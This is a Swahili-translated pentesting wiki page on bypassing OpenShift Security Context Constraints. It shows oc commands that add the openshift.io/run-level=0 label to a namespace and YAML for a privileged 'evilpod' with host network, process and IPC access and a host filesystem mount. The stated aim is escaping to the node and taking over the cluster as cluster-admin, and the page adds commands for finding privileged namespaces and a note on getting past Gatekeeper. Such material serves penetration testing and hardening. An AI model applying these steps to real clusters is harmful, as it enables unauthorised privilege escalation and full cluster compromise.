OpenShift - SCC bypass

Mwandishi halisi wa ukurasa huu ni Guillaume

Nafasi za Haki Maalum

Kwa chaguo-msingi, SCC haitumiki kwenye miradi ifuatayo:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

Ikiwa unaweka podi ndani ya mojawapo ya nafasi hizo, hakuna SCC itakayotekelezwa, kuruhusu uwekaji wa podi zenye haki maalum au kufunga mfumo wa faili wa mwenyeji.

Lebo ya Nafasi

Kuna njia ya kulemaza maombi ya SCC kwenye podi yako kulingana na nyaraka za RedHat. Utahitaji kuwa na angalau moja ya ruhusa zifuatazo:

  • Unda Nafasi na Unda Podi kwenye Nafasi hii

  • Hariri Nafasi na Unda Podi kwenye Nafasi hii

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

The specific label openshift.io/run-level enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.

Ongeza Lebo

Kuongeza lebo katika eneo lako:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Kujenga eneo la jina na lebo kupitia faili ya YAML:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Sasa, vikasha vipya vyote vilivyoundwa kwenye eneo la jina haipaswi kuwa na SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

Kukosekana kwa SCC, hakuna vizuizi kwenye ufafanuzi wa kasha lako. Hii inamaanisha kwamba kasha la nia mbaya linaweza kuundwa kwa urahisi ili kutoroka kwenye mfumo wa mwenyeji.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Sasa, imekuwa rahisi kuongeza mamlaka ya kupata mfumo wa mwenyeji na baadaye kuchukua udhibiti wa kikundi kizima, kupata mamlaka ya 'cluster-admin'. Tafuta sehemu ya Node-Post Exploitation kwenye ukurasa ufuatao:

Attacking Kubernetes from inside a Pod

Lebo za desturi

Zaidi ya hayo, kulingana na usanidi wa lengo, baadhi ya lebo / maandishi ya desturi yanaweza kutumika kwa njia ile ile kama hali ya shambulio la awali. Hata kama sio kwa hiyo, lebo inaweza kutumika kutoa ruhusa, kizuia au la si rasilimali maalum.

Jaribu kutafuta lebo za desturi ikiwa unaweza kusoma baadhi ya rasilimali. Hapa kuna orodha ya rasilimali za kuvutia:

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Orodhesha majina ya nafasi zenye mamlaka

$ oc get project -o yaml | grep 'run-level' -b5

Shambulizi la juu

Katika OpenShift, kama ilivyodhihirishwa awali, kuwa na idhini ya kuweka podi katika eneo la jina lenye lebo ya openshift.io/run-level inaweza kusababisha kuchukuliwa kwa urahisi wa kikundi. Kutoka mtazamo wa mipangilio ya kikundi, hii haiwezi kuzimwa, kwani ni sehemu ya kubuni ya OpenShift.

Hata hivyo, hatua za kupunguza madhara kama Open Policy Agent GateKeeper inaweza kuzuia watumiaji kuweka lebo hii.

Ili kudukua sheria za GateKeeper na kuweka lebo hii kutekeleza kuchukua kikundi, wadukuzi watahitaji kutambua njia mbadala.

Marejeo

Last updated